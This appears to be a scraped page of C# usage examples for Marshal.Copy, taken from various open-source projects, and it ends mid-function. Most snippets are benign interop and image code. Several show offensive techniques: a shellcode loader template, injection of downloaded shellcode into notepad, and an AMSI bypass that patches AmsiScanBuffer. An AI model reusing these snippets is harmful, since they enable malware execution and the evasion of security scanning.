System.Runtime.InteropServices.Marshal.Copy(byte[], int, System.IntPtr, int)

Here are the examples of the csharp api System.Runtime.InteropServices.Marshal.Copy(byte[], int, System.IntPtr, int) taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.

826 Examples 7

19 View Source File : ObjectToByte.cs
License : MIT License
Project Creator : allartprotocol

public static CompiledInstruction fromBytes(byte[] arr)
        {
            CompiledInstruction str = new CompiledInstruction();

            int size = Marshal.SizeOf(str);
            IntPtr ptr = Marshal.AllocHGlobal(size);

            Marshal.Copy(arr, 0, ptr, size);

            str = (CompiledInstruction)Marshal.PtrToStructure(ptr, str.GetType());
            Marshal.FreeHGlobal(ptr);

            return str;
        }

19 View Source File : Draw_image.cs
License : GNU Affero General Public License v3.0
Project Creator : arklumpus

public static bool OnParameterChange(object tree, Dictionary<string, object> previousParameterValues, Dictionary<string, object> currentParameterValues, out Dictionary<string, ControlStatus> controlStatus, out Dictionary<string, object> parametersToChange)
        {
            controlStatus = new Dictionary<string, ControlStatus>();
            parametersToChange = new Dictionary<string, object>();

            controlStatus["Scale factor:"] = ((int)currentParameterValues["Image format:"] != 0) ? ControlStatus.Enabled : ControlStatus.Hidden;

            if (currentParameterValues["Image:"] == null)
            {
                controlStatus["Image size:"] = ControlStatus.Hidden;
            }

            if (currentParameterValues["Image:"] != previousParameterValues["Image:"] || (int)currentParameterValues["Image format:"] != (int)previousParameterValues["Image format:"])
            {
                controlStatus["Image size:"] = ControlStatus.Hidden;

                int format = (int)currentParameterValues["Image format:"];
                bool isSvg = format == 0;

                Attachment image = (Attachment)currentParameterValues["Image:"];

                try
                {
                    if (image != null)
                    {
                        byte[] imageBytes = image.GetBytes();

                        if (isSvg)
                        {
                            Parser.ParseImageURI = VectSharp.MuPDFUtils.ImageURIParser.Parser(Parser.ParseSVGURI);

                            Page imagePage;
                            using (MemoryStream ms = new MemoryStream(imageBytes))
                            {
                                imagePage = Parser.FromStream(ms);
                            }

                            parametersToChange.Add("Image size:", imagePage.Width.ToString(System.Globalization.CultureInfo.InvariantCulture) + "x" + imagePage.Height.ToString(System.Globalization.CultureInfo.InvariantCulture));
                        }
                        else
                        {
                            MuPDFCore.InputFileTypes imageType = (MuPDFCore.InputFileTypes)(format - 1);

                            VectSharp.MuPDFUtils.RasterImageStream imageStream;

                            IntPtr imagePtr = Marshal.AllocHGlobal(imageBytes.Length);
                            Marshal.Copy(imageBytes, 0, imagePtr, imageBytes.Length);

                            try
                            {
                                imageStream = new VectSharp.MuPDFUtils.RasterImageStream(imagePtr, imageBytes.Length, imageType);
                            }
                            catch (Exception ex)
                            {
                                throw ex.InnerException;
                            }
                            finally
                            {
                                Marshal.FreeHGlobal(imagePtr);
                            }

                            parametersToChange.Add("Image size:", imageStream.Width.ToString(System.Globalization.CultureInfo.InvariantCulture) + "x" + imageStream.Height.ToString(System.Globalization.CultureInfo.InvariantCulture));

                            imageStream.Dispose();
                        }
                    }

                    controlStatus["Image size:"] = ControlStatus.Disabled;
                }
                catch
                {
                    controlStatus["Image size:"] = ControlStatus.Hidden;
                }
            }

            return true;
        }

19 View Source File : WaveOut.cs
License : GNU General Public License v3.0
Project Creator : ahmed605

private void ThreadProc()
        {
            while (!m_Finished)
            {
                Advance();
				if (m_FillProc != null && !m_Finished)
					m_FillProc(m_CurrentBuffer.Data, m_CurrentBuffer.Size);
				else
				{
					// zero out buffer
					byte v = m_zero;
					byte[] b = new byte[m_CurrentBuffer.Size];
					for (int i = 0; i < b.Length; i++)
						b[i] = v;
					Marshal.Copy(b, 0, m_CurrentBuffer.Data, b.Length);

				}
                m_CurrentBuffer.Play();
            }
			WaitForAllBuffers();
		}

19 View Source File : ImageUtils.cs
License : GNU General Public License v3.0
Project Creator : alexdillon

public static T FromByteArray<T>(byte[] bytes)
                where T : struct
            {
                IntPtr ptr = IntPtr.Zero;
                try
                {
                    int size = Marshal.SizeOf(typeof(T));
                    ptr = Marshal.AllocHGlobal(size);
                    Marshal.Copy(bytes, 0, ptr, size);
                    object obj = Marshal.PtrToStructure(ptr, typeof(T));
                    return (T)obj;
                }
                finally
                {
                    if (ptr != IntPtr.Zero)
                    {
                        Marshal.FreeHGlobal(ptr);
                    }
                }
            }

19 View Source File : Scanner.cs
License : Apache License 2.0
Project Creator : airbus-cert

public virtual List<ScanResult> ScanMemory(
            ref byte[] buffer,
            int length,
            CompiledRules rules,
            YR_SCAN_FLAGS flags)
        {
            var results = new List<ScanResult>();
            GCHandleHandler resultsHandle = new GCHandleHandler(results);

            IntPtr btCpy = Marshal.AllocHGlobal(buffer.Length); ;
            Marshal.Copy(buffer, 0, btCpy, (int)buffer.Length);

            ErrorUtility.ThrowOnError(
                Methods.yr_rules_scan_mem(
                    rules.BasePtr,
                    btCpy,
                    (ulong)length,
                    (int)flags,
                    callbackPtr,
                    resultsHandle.GetPointer(),
                    YR_TIMEOUT));

            return results;
        }

19 View Source File : DiscordRPC.cs
License : GNU General Public License v3.0
Project Creator : aelariane

private IntPtr StrToPtr(string input)
            {
                if (string.IsNullOrEmpty(input))
                {
                    return IntPtr.Zero;
                }

                var convbytecnt = Encoding.UTF8.GetByteCount(input);
                var buffer = Marshal.AllocHGlobal(convbytecnt + 1);
                for (int i = 0; i < convbytecnt + 1; i++)
                {
                    Marshal.WriteByte(buffer, i, 0);
                }
                _buffers.Add(buffer);
                Marshal.Copy(Encoding.UTF8.GetBytes(input), 0, buffer, convbytecnt);
                return buffer;
            }

19 View Source File : BuilderPlug.cs
License : GNU General Public License v3.0
Project Creator : anotak

private static Bitmap MakeTintedImage(Bitmap source, PixelColor tint) 
		{
			BitmapData sourcedata = source.LockBits(new Rectangle(0, 0, source.Width, source.Height),
									ImageLockMode.ReadOnly, PixelFormat.Format32bppArgb);

			byte[] pixelBuffer = new byte[sourcedata.Stride * sourcedata.Height];
			Marshal.Copy(sourcedata.Scan0, pixelBuffer, 0, pixelBuffer.Length);
			source.UnlockBits(sourcedata);

			//Translate tint color to 0.0-1.0 range
			float redtint = tint.r / 256.0f;
			float greentint = tint.g / 256.0f; 
			float bluetint = tint.b / 256.0f;

			for(int k = 0; k + 4 < pixelBuffer.Length; k += 4) 
			{
				float blue = 60 + pixelBuffer[k] * bluetint;
				float green = 60 + pixelBuffer[k + 1] * greentint;
				float red = 60 + pixelBuffer[k + 2] * redtint;

				pixelBuffer[k] = (byte)Math.Min(255, blue);
				pixelBuffer[k + 1] = (byte)Math.Min(255, green);
				pixelBuffer[k + 2] = (byte)Math.Min(255, red);
			}

			Bitmap result = new Bitmap(source.Width, source.Height);
			BitmapData resultdata = result.LockBits(new Rectangle(0, 0, result.Width, result.Height),
									ImageLockMode.WriteOnly, PixelFormat.Format32bppArgb);

			Marshal.Copy(pixelBuffer, 0, resultdata.Scan0, pixelBuffer.Length);
			result.UnlockBits(resultdata);

			return result;
		}

19 View Source File : AreaForm.cs
License : MIT License
Project Creator : 1CM69

public static Cursor LoadEmbeddedCursor(byte[] cursorResource, int imageIndex = 0)
            {
                var resourceHandle = GCHandle.Alloc(cursorResource, GCHandleType.Pinned);
                var iconImage = IntPtr.Zero;
                var cursorHandle = IntPtr.Zero;

                try
                {
                    var header = (IconHeader)Marshal.PtrToStructure(resourceHandle.AddrOfPinnedObject(), typeof(IconHeader));

                    if (imageIndex >= header.count)
                        throw new ArgumentOutOfRangeException("imageIndex");

                    var iconInfoPtr = resourceHandle.AddrOfPinnedObject() + Marshal.SizeOf(typeof(IconHeader)) + imageIndex * Marshal.SizeOf(typeof(IconInfo));
                    var info = (IconInfo)Marshal.PtrToStructure(iconInfoPtr, typeof(IconInfo));

                    iconImage = Marshal.AllocHGlobal(info.size + 4);
                    Marshal.WriteInt16(iconImage + 0, info.hotspot_x);
                    Marshal.WriteInt16(iconImage + 2, info.hotspot_y);
                    Marshal.Copy(cursorResource, info.offset, iconImage + 4, info.size);

                    cursorHandle = NativeMethods.CreateIconFromResource(iconImage, info.size + 4, false, 0x30000);
                    return new Cursor(cursorHandle);
                }
                finally
                {
                    if (cursorHandle != IntPtr.Zero)
                        NativeMethods.DestroyIcon(cursorHandle);

                    if (iconImage != IntPtr.Zero)
                        Marshal.FreeHGlobal(iconImage);

                    if (resourceHandle.IsAllocated)
                        resourceHandle.Free();
                }
            }

19 View Source File : Advanced_open.cs
License : GNU Affero General Public License v3.0
Project Creator : arklumpus

public static VectSharp.Page GetIcon(double scaling)
        {
            byte[] bytes;

            if (scaling <= 1)
            {

                bytes = Convert.FromBase64String(Icon16Base64);
            }
            else if (scaling <= 1.5)
            {
                bytes = Convert.FromBase64String(Icon24Base64);
            }
            else
            {
                bytes = Convert.FromBase64String(Icon32Base64);
            }

            IntPtr imagePtr = Marshal.AllocHGlobal(bytes.Length);
            Marshal.Copy(bytes, 0, imagePtr, bytes.Length);

            VectSharp.RasterImage icon;

            try
            {
                icon = new VectSharp.MuPDFUtils.RasterImageStream(imagePtr, bytes.Length, MuPDFCore.InputFileTypes.PNG);
            }
            catch (Exception ex)
            {
                throw ex.InnerException;
            }
            finally
            {
                Marshal.FreeHGlobal(imagePtr);
            }

            VectSharp.Page pag = new VectSharp.Page(16, 16);
            pag.Graphics.DrawRasterImage(0, 0, 16, 16, icon);

            return pag;
        }

19 View Source File : DellSmbiosSmi.cs
License : GNU General Public License v3.0
Project Creator : AaronKelley

private static SmiObject ByteArrayToStruct(byte[] array)
        {
            SmiObject message = new SmiObject();

            int size = Marshal.SizeOf(message);
            IntPtr pointer = Marshal.AllocHGlobal(size);

            Marshal.Copy(array, 0, pointer, size);

            message = (SmiObject)Marshal.PtrToStructure(pointer, message.GetType());
            Marshal.FreeHGlobal(pointer);

            return message;
        }

19 View Source File : StructHelper.cs
License : MIT License
Project Creator : albyho

public static T BytesToStuct<T>(byte[] bytes) where T : struct
        {
            Type type = typeof(T);
            //得到结构体的大小
            Int32 size = Marshal.SizeOf(type);
            //byte数组长度小于结构体的大小
            if (size > bytes.Length)
            {
                throw new ArgumentException("bytes 的长度不足", nameof(bytes));
                //返回空
                //return default(T);
            }
            //分配结构体大小的内存空间
            IntPtr structPtr = Marshal.AllocHGlobal(size);
            //将byte数组拷到分配好的内存空间
            Marshal.Copy(bytes, 0, structPtr, size);
            //将内存空间转换为目标结构体
            object obj = Marshal.PtrToStructure(structPtr, type);
            //释放内存空间
            Marshal.FreeHGlobal(structPtr);
            //返回结构体
            return (T)obj;
        }

19 View Source File : UserManager.cs
License : GNU General Public License v3.0
Project Creator : aiportal

public static void SetUserLogonHours(string username, byte[] bsHours)
		{
			Debug.replacedert(bsHours.Length == 21);

			int ret = 0;
			USER_INFO_4 u = new USER_INFO_4();
			{
				IntPtr pu = new IntPtr();
				ret = netapi.NetUserGetInfo(null, username, 4, out pu);
				if (ret != 0)
					throw new Win32Exception(ret);
				Marshal.PtrToStructure(pu, u);
				netapi.NetApiBufferFree(pu);
			}
			Marshal.Copy(bsHours, 0, u.logon_hours, 21);
			ret = netapi.NetUserSetInfo(null, username, 4, u, 0);
			if (ret != 0)
				throw new Win32Exception(ret);
		}

19 View Source File : NativeMethods.cs
License : GNU General Public License v2.0
Project Creator : ADeltaX

public static void _SendMessage(string msg, IntPtr target)
		{
			byte[] b = Encoding.UTF8.GetBytes(msg);
			IntPtr hLog = Marshal.AllocHGlobal(b.Length);
			Marshal.Copy(b, 0, hLog, b.Length);
			COPYDATASTRUCT data = new COPYDATASTRUCT();
			data.cbData = b.Length;
			data.lpData = hLog;
			SendMessage(target, WM_COPYDATA, 0, ref data);
		}

19 View Source File : Opcode.cs
License : MIT License
Project Creator : AlexGyver

public static void Open() {  
      int p = (int)Environment.OSVersion.Platform;
            
      byte[] rdtscCode;
      byte[] cpuidCode;
      if (IntPtr.Size == 4) {
        rdtscCode = RDTSC_32;
        cpuidCode = CPUID_32;
      } else {
        rdtscCode = RDTSC_64;
        
        if ((p == 4) || (p == 128)) { // Unix
          cpuidCode = CPUID_64_LINUX;
        } else { // Windows
          cpuidCode = CPUID_64_WINDOWS;
        }
      }
      
      size = (ulong)(rdtscCode.Length + cpuidCode.Length);

      if ((p == 4) || (p == 128)) { // Unix   
        replacedembly replacedembly = 
          replacedembly.Load("Mono.Posix, Version=2.0.0.0, Culture=neutral, " +
          "PublicKeyToken=0738eb9f132ed756");

        Type syscall = replacedembly.GetType("Mono.Unix.Native.Syscall");
        MethodInfo mmap = syscall.GetMethod("mmap");

        Type mmapProts = replacedembly.GetType("Mono.Unix.Native.MmapProts");
        object mmapProtsParam = Enum.ToObject(mmapProts,
          (int)mmapProts.GetField("PROT_READ").GetValue(null) |
          (int)mmapProts.GetField("PROT_WRITE").GetValue(null) |
          (int)mmapProts.GetField("PROT_EXEC").GetValue(null));

        Type mmapFlags = replacedembly.GetType("Mono.Unix.Native.MmapFlags");
        object mmapFlagsParam = Enum.ToObject(mmapFlags,
          (int)mmapFlags.GetField("MAP_ANONYMOUS").GetValue(null) |
          (int)mmapFlags.GetField("MAP_PRIVATE").GetValue(null));
        
        codeBuffer = (IntPtr)mmap.Invoke(null, new object[] { IntPtr.Zero, 
          size, mmapProtsParam, mmapFlagsParam, -1, 0 });        
      } else { // Windows
        codeBuffer = NativeMethods.VirtualAlloc(IntPtr.Zero,
          (UIntPtr)size, AllocationType.COMMIT | AllocationType.RESERVE, 
          MemoryProtection.EXECUTE_READWRITE);
      }

      Marshal.Copy(rdtscCode, 0, codeBuffer, rdtscCode.Length);

      Rdtsc = Marshal.GetDelegateForFunctionPointer(
        codeBuffer, typeof(RdtscDelegate)) as RdtscDelegate;

      IntPtr cpuidAddress = (IntPtr)((long)codeBuffer + rdtscCode.Length);
      Marshal.Copy(cpuidCode, 0, cpuidAddress, cpuidCode.Length);

      Cpuid = Marshal.GetDelegateForFunctionPointer(
        cpuidAddress, typeof(CpuidDelegate)) as CpuidDelegate;         
    }

19 View Source File : custom-nonpre.cs
License : GNU General Public License v3.0
Project Creator : 0xthirteen

static void Main()
        {
            string strShellCode = ("$$PAYLOAD$$");
            byte[] shellcode = Convert.FromBase64String(strShellCode);   
            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;
            IntPtr pinfo = IntPtr.Zero;
            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            return;
        }

19 View Source File : YoloWrapper.cs
License : MIT License
Project Creator : AlturosDestinations

public IEnumerable<YoloItem> Detect(byte[] imageData)
        {
            if (!this._imagereplacedyzer.IsValidImageFormat(imageData))
            {
                throw new Exception("Invalid image data, wrong image format");
            }

            var container = new BboxContainer();
            var size = Marshal.SizeOf(imageData[0]) * imageData.Length;
            var pnt = Marshal.AllocHGlobal(size);

            var count = 0;
            try
            {
                // Copy the array to unmanaged memory.
                Marshal.Copy(imageData, 0, pnt, imageData.Length);
                switch (this.DetectionSystem)
                {
                    case DetectionSystem.CPU:
                        count = DetectImageCpu(pnt, imageData.Length, ref container);
                        break;
                    case DetectionSystem.GPU:
                        count = DetectImageGpu(pnt, imageData.Length, ref container);
                        break;
                }
            }
            catch (Exception)
            {
                return null;
            }
            finally
            {
                // Free the unmanaged memory.
                Marshal.FreeHGlobal(pnt);
            }

            if (count == -1)
            {
                throw new NotImplementedException("C++ dll compiled incorrectly");
            }

            return this.Convert(container);
        }

19 View Source File : utils.cs
License : GNU General Public License v3.0
Project Creator : Aeroblast

public static T GetStructBE<T>(byte[] data, int offset)
        {
            int size = Marshal.SizeOf(typeof(T));
            Byte[] data_trimed = SubArray(data, offset, size);
            Array.Reverse(data_trimed);
            IntPtr structPtr = Marshal.AllocHGlobal(size);
            Marshal.Copy(data_trimed, 0, structPtr, size);
            T r = (T)Marshal.PtrToStructure(structPtr, typeof(T));
            Marshal.FreeHGlobal(structPtr);
            return r;
        }

19 View Source File : Color_picker_menu_action.cs
License : GNU Affero General Public License v3.0
Project Creator : arklumpus

public static Page GetIcon(double scaling)
        {
            byte[] bytes;

            if (scaling <= 1)
            {

                bytes = Convert.FromBase64String(Icon32Base64);
            }
            else if (scaling <= 1.5)
            {
                bytes = Convert.FromBase64String(Icon48Base64);
            }
            else
            {
                bytes = Convert.FromBase64String(Icon64Base64);
            }

            IntPtr imagePtr = Marshal.AllocHGlobal(bytes.Length);
            Marshal.Copy(bytes, 0, imagePtr, bytes.Length);

            RasterImage icon;

            try
            {
                icon = new VectSharp.MuPDFUtils.RasterImageStream(imagePtr, bytes.Length, MuPDFCore.InputFileTypes.PNG);
            }
            catch (Exception ex)
            {
                throw ex.InnerException;
            }
            finally
            {
                Marshal.FreeHGlobal(imagePtr);
            }

            Page pag = new Page(16, 16);
            pag.Graphics.DrawRasterImage(0, 0, 16, 16, icon);

            return pag;
        }

19 View Source File : StreamIOCallbacks.cs
License : MIT License
Project Creator : 0xC0000054

public unsafe int Read(IntPtr buffer, uint count, uint* bytesRead)
        {
            if (bytesRead != null)
            {
                *bytesRead = 0;
            }

            if (count == 0)
            {
                return HResult.S_OK;
            }

            try
            {
                long totalBytesRead = 0;
                long remaining = count;

                do
                {
                    int streamBytesRead = this.stream.Read(this.streamBuffer, 0, (int)Math.Min(MaxBufferSize, remaining));

                    if (streamBytesRead == 0)
                    {
                        break;
                    }

                    Marshal.Copy(this.streamBuffer, 0, new IntPtr(buffer.ToInt64() + totalBytesRead), streamBytesRead);

                    totalBytesRead += streamBytesRead;
                    remaining -= streamBytesRead;

                } while (remaining > 0);

                if (bytesRead != null)
                {
                    *bytesRead = (uint)totalBytesRead;
                }
                return HResult.S_OK;
            }
            catch (Exception ex)
            {
                this.CallbackExceptionInfo = ExceptionDispatchInfo.Capture(ex);
                return ex.HResult;
            }
        }

19 View Source File : Feedback.cs
License : GNU Affero General Public License v3.0
Project Creator : arklumpus

public static Page GetIcon(double scaling)
        {
            byte[] bytes;

            if (scaling <= 1)
            {

                bytes = Convert.FromBase64String(Icon32Base64);
            }
            else if (scaling <= 1.5)
            {
                bytes = Convert.FromBase64String(Icon48Base64);
            }
            else
            {
                bytes = Convert.FromBase64String(Icon64Base64);
            }

            IntPtr imagePtr = Marshal.AllocHGlobal(bytes.Length);
            Marshal.Copy(bytes, 0, imagePtr, bytes.Length);

            RasterImage icon;

            try
            {
                icon = new VectSharp.MuPDFUtils.RasterImageStream(imagePtr, bytes.Length, MuPDFCore.InputFileTypes.PNG);
            }
            catch (Exception ex)
            {
                throw ex.InnerException;
            }
            finally
            {
                Marshal.FreeHGlobal(imagePtr);
            }

            Page pag = new Page(32, 32);
            pag.Graphics.DrawRasterImage(0, 0, 32, 32, icon);

            return pag;
        }

19 View Source File : ImageCompressEngine.cs
License : GNU General Public License v3.0
Project Creator : aiportal

public static Image CreateImageByData(byte[] bsData, int width, int height, ColorPalette palette)
		{
			Image img;
			try
			{
				Rectangle rect = new Rectangle(0, 0, width, height);
				PixelFormat format = palette == null ? PixelFormat.Format16bppRgb555 : PixelFormat.Format8bppIndexed;

				Bitmap bmp = new Bitmap(width, height, format);
				if (palette != null)
					bmp.Palette = palette;

				var bmpData = bmp.LockBits(rect, ImageLockMode.WriteOnly, format);
				{
					int length = Math.Abs(bmpData.Stride) * bmpData.Height;
					IntPtr pData = new IntPtr(bmpData.Scan0.ToInt64() + (bmpData.Stride > 0 ? 0 : bmpData.Stride * (bmpData.Height - 1)));

					Debug.replacedert(bsData.Length >= length);
					Marshal.Copy(bsData, 0, pData, length);
				}
				bmp.UnlockBits(bmpData);
				img = bmp;
			}
			catch (Exception ex) { TraceLogger.Instance.WriteException(ex); throw; }
			return img;
		}

19 View Source File : CustomScanner.cs
License : Apache License 2.0
Project Creator : airbus-cert

public virtual List<ScanResult> ScanMemory(
            ref byte[] buffer,
            int length,
            ExternalVariables externalVariables,
            YR_SCAN_FLAGS flags)
        {
            YR_CALLBACK_FUNC scannerCallback = new YR_CALLBACK_FUNC(HandleMessage);
            List<ScanResult> scanResults = new List<ScanResult>();
            GCHandleHandler resultsHandle = new GCHandleHandler(scanResults);
            Methods.yr_scanner_set_callback(customScannerPtr, scannerCallback, resultsHandle.GetPointer());

            SetFlags(flags);
            SetExternalVariables(externalVariables);

            IntPtr btCpy = Marshal.AllocHGlobal(buffer.Length); ;
            Marshal.Copy(buffer, 0, btCpy, (int)buffer.Length);

            ErrorUtility.ThrowOnError(
                Methods.yr_scanner_scan_mem(
                    customScannerPtr,
                    btCpy,
                    (ulong)length
                    ));

            ClearExternalVariables(externalVariables);

            return scanResults;
        }

19 View Source File : Program.cs
License : MIT License
Project Creator : 0xDivyanshu

static int process_injection(string location, int button, int encryption, string preplacedword)
        {
            Process[] remote_p = Process.GetProcessesByName("notepad");
            Process current_p = Process.GetCurrentProcess();
            int pid = 0;

            if (remote_p.Length == 0)
            {
                //Create Process
                Process p = new Process();
                p.StartInfo.FileName = "C:\\Windows\\System32\\notepad.exe";
                p.StartInfo.WindowStyle = ProcessWindowStyle.Maximized;
                p.Start();
                pid = p.Id;
            }
            else
            {
                pid = remote_p[0].Id;
            }

            byte[] shellcode = downloaded_data(location, encryption, preplacedword);
            //Initializations
            bool res = false;
            IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
            IntPtr address = IntPtr.Zero;
            if (Flags.advanced_bypreplaced == 0)
            {
                address = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
                IntPtr bytes = IntPtr.Zero;
                res = WriteProcessMemory(hProcess, address, shellcode, shellcode.Length, out bytes);
                if (res == false)
                {
                    Console.WriteLine("Cannot copy into process");
                    return -1;
                }
                IntPtr thread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, address, IntPtr.Zero, 0, IntPtr.Zero);
                return 0;
            }
            else
            {
                IntPtr Section_handle = IntPtr.Zero;
                uint size = (uint)shellcode.Length;
                if (NtCreateSection(ref Section_handle, SECTION_ALL_ACCESS, IntPtr.Zero, ref size, 0x40, SEC_COMMIT, IntPtr.Zero) != 0)
                {
                    Console.WriteLine("[!] Cannot create section");
                    return -1;
                }
                IntPtr local_addr = IntPtr.Zero;
                IntPtr remote_addr = IntPtr.Zero;
                ulong offsec = 0;

                if (NtMapViewOfSection(Section_handle, current_p.Handle, ref local_addr, UIntPtr.Zero, UIntPtr.Zero, out offsec, out size, 2, 0, EXECUTE_READ_WRITE) != 0)
                {
                    Console.WriteLine("[!] Cannot map the section into remote process");
                    return -1;
                }

                if (NtMapViewOfSection(Section_handle, hProcess, ref remote_addr, UIntPtr.Zero, UIntPtr.Zero, out offsec, out size, 2, 0, EXECUTE_READ_WRITE) != 0)
                {
                    Console.WriteLine("Cannot map the section into local process");
                    return -1;
                }

                Marshal.Copy(shellcode, 0, local_addr, shellcode.Length);
                CreateRemoteThread(hProcess, IntPtr.Zero, 0, remote_addr, IntPtr.Zero, 0, IntPtr.Zero);
                NtUnmapViewOfSection(current_p.Handle, local_addr);
                return 0;
            }
        }

19 View Source File : SharedMemory.cs
License : GNU General Public License v3.0
Project Creator : aiportal

public bool SetData(byte[] data, int millisecondsTimeout = Timeout.Infinite)
		{
			if (data.Length > Capcity)
				throw new ArgumentOutOfRangeException("data", "The data to be stored is too large for the SharedMemory.");

			bool succeed = false;
			this.MutexInvoke(() =>
			{
				Marshal.WriteInt32(this._memory, 4, data.Length);

				IntPtr pData = new IntPtr(this._memory.ToInt64() + 8);
				Marshal.Copy(data, 0, pData, data.Length);

				succeed = true;

			}, millisecondsTimeout);
			return succeed;
		}

19 View Source File : DellSmbiosSmi.cs
License : GNU General Public License v3.0
Project Creator : AaronKelley

private static uint? GetSecurityKeyNew(SmiPreplacedword which, string preplacedword, PreplacedwordProperties properties)
        {
            // NOTE – Non-functional, need to figure out the string pointer before it will work.

            if (GetPreplacedwordFormat(which, properties) == SmiPreplacedwordFormat.Scancode)
            {
                throw new NotImplementedException("BIOS wants scancode-encoded preplacedwords, but only ASCII-encoded preplacedwords are supported at this time.");
            }

            SmiObject message = new SmiObject
            {
                Clreplaced = (Clreplaced)which,
                Selector = Selector.VerifyPreplacedwordNew
            };

            // Allocate a buffer for the preplacedword.
            int bufferSize = properties.MaximumLength * 2;
            IntPtr buffer = Marshal.AllocHGlobal(bufferSize);

            // Zero out the buffer.
            for (byte index = 0; index < bufferSize; index++)
            {
                Marshal.WriteByte(buffer, index, 0);
            }

            // Copy preplacedword into the buffer (ASCII-encoded).
            byte[] preplacedwordBytes = ASCIIEncoding.ASCII.GetBytes(preplacedword);
            Marshal.Copy(preplacedwordBytes, 0, buffer, Math.Min(preplacedword.Length, bufferSize));

            message.Input1 = (uint)buffer.ToInt32();

            ExecuteCommand(ref message);

            Marshal.FreeHGlobal(buffer);

            if (message.Input1 == (uint)SmiPreplacedwordCheckResult.Correct)
            {
                return message.Input2;
            }
            else
            {
                return null;
            }
        }

19 View Source File : MethodDetour.cs
License : MIT License
Project Creator : Akaion

public void RemoveDetour()
        {
            var originalMethodAddress = _originalMethodHandle.GetFunctionPointer();
            
            // Adjust the protection of the virtual memory region to ensure it has write privileges

            if (!Kernel32.VirtualProtect(originalMethodAddress, _originalMethodBytes.Length, MemoryProtectionType.ReadWrite, out var oldProtection))
            {
                throw new PInvokeException("Failed to call VirtualProtect");
            }
            
            Marshal.Copy(_originalMethodBytes, 0, originalMethodAddress, _originalMethodBytes.Length);
            
            // Restore the original protection of the virtual memory region

            if (!Kernel32.VirtualProtect(originalMethodAddress, _originalMethodBytes.Length, oldProtection, out _))
            {
                throw new PInvokeException("Failed to call VirtualProtect");
            }
        }

19 View Source File : Modules.cs
License : BSD 3-Clause "New" or "Revised" License
Project Creator : airzero24

private static bool PatchBuffer()
        {
            byte[] patch;
            if (IntPtr.Size == 8)
            {
                patch = new byte[6];
                patch[0] = 0xB8;
                patch[1] = 0x57;
                patch[2] = 0x00;
                patch[3] = 0x07;
                patch[4] = 0x80;
                patch[5] = 0xc3;
            }
            else
            {
                patch = new byte[8];
                patch[0] = 0xB8;
                patch[1] = 0x57;
                patch[2] = 0x00;
                patch[3] = 0x07;
                patch[4] = 0x80;
                patch[5] = 0xc2;
                patch[6] = 0x18;
                patch[7] = 0x00;
            }

            try
            {
                var library = LoadLibrary("amsi.dll");
                var address = GetProcAddress(library, "AmsiScanBuffer");
                uint oldProtect;
                VirtualProtect(address, (UIntPtr)patch.Length, 0x40, out oldProtect);
                Marshal.Copy(patch, 0, address, patch.Length);
                VirtualProtect(address, (UIntPtr)patch.Length, oldProtect, out oldProtect);
                return true;
            }
            catch
            {
                return false;
            }
        }

private static Bitmap ConvolutionFilter(Bitmap sourceBitmap,
                                     double[,] filterMatrix,
                                          double factor = 1,
                                               int bias = 0,
                                     bool grayscale = false)
        {
            BitmapData sourceData =
                           sourceBitmap.LockBits(new Rectangle(0, 0,
                           sourceBitmap.Width, sourceBitmap.Height),
                                             ImageLockMode.ReadOnly,
                                        PixelFormat.Format32bppArgb);


            byte[] pixelBuffer = new byte[sourceData.Stride *
                                          sourceData.Height];


            byte[] resultBuffer = new byte[sourceData.Stride *
                                           sourceData.Height];


            Marshal.Copy(sourceData.Scan0, pixelBuffer, 0,
                                       pixelBuffer.Length);


            sourceBitmap.UnlockBits(sourceData);


            if (grayscale == true)
            {
                float rgb = 0;


                for (int k = 0; k < pixelBuffer.Length; k += 4)
                {
                    rgb = pixelBuffer[k] * 0.11f;
                    rgb += pixelBuffer[k + 1] * 0.59f;
                    rgb += pixelBuffer[k + 2] * 0.3f;


                    pixelBuffer[k] = (byte)rgb;
                    pixelBuffer[k + 1] = pixelBuffer[k];
                    pixelBuffer[k + 2] = pixelBuffer[k];
                    pixelBuffer[k + 3] = 255;
                }
            }


            double blue = 0.0;
            double green = 0.0;
            double red = 0.0;


            int filterWidth = filterMatrix.GetLength(1);
            int filterHeight = filterMatrix.GetLength(0);


            int filterOffset = (filterWidth - 1) / 2;
            int calcOffset = 0;


            int byteOffset = 0;


            for (int offsetY = filterOffset; offsetY <
                sourceBitmap.Height - filterOffset; offsetY++)
            {
                for (int offsetX = filterOffset; offsetX <
                    sourceBitmap.Width - filterOffset; offsetX++)
                {
                    blue = 0;
                    green = 0;
                    red = 0;


                    byteOffset = offsetY *
                                 sourceData.Stride +
                                 offsetX * 4;


                    for (int filterY = -filterOffset;
                        filterY <= filterOffset; filterY++)
                    {
                        for (int filterX = -filterOffset;
                            filterX <= filterOffset; filterX++)
                        {


                            calcOffset = byteOffset +
                                         (filterX * 4) +
                                         (filterY * sourceData.Stride);


                            blue += (double)(pixelBuffer[calcOffset]) *
                                    filterMatrix[filterY + filterOffset,
                                                 filterX + filterOffset];


                            green += (double)(pixelBuffer[calcOffset + 1]) *
                                     filterMatrix[filterY + filterOffset,
                                                  filterX + filterOffset];


                            red += (double)(pixelBuffer[calcOffset + 2]) *
                                   filterMatrix[filterY + filterOffset,
                                                filterX + filterOffset];
                        }
                    }


                    blue = factor * blue + bias;
                    green = factor * green + bias;
                    red = factor * red + bias;


                    if (blue > 255)
                    { blue = 255; }
                    else if (blue < 0)
                    { blue = 0; }


                    if (green > 255)
                    { green = 255; }
                    else if (green < 0)
                    { green = 0; }


                    if (red > 255)
                    { red = 255; }
                    else if (red < 0)
                    { red = 0; }


                    resultBuffer[byteOffset] = (byte)(blue);
                    resultBuffer[byteOffset + 1] = (byte)(green);
                    resultBuffer[byteOffset + 2] = (byte)(red);
                    resultBuffer[byteOffset + 3] = 255;
                }
            }


            Bitmap resultBitmap = new Bitmap(sourceBitmap.Width,
                                            sourceBitmap.Height);


            BitmapData resultData =
                       resultBitmap.LockBits(new Rectangle(0, 0,
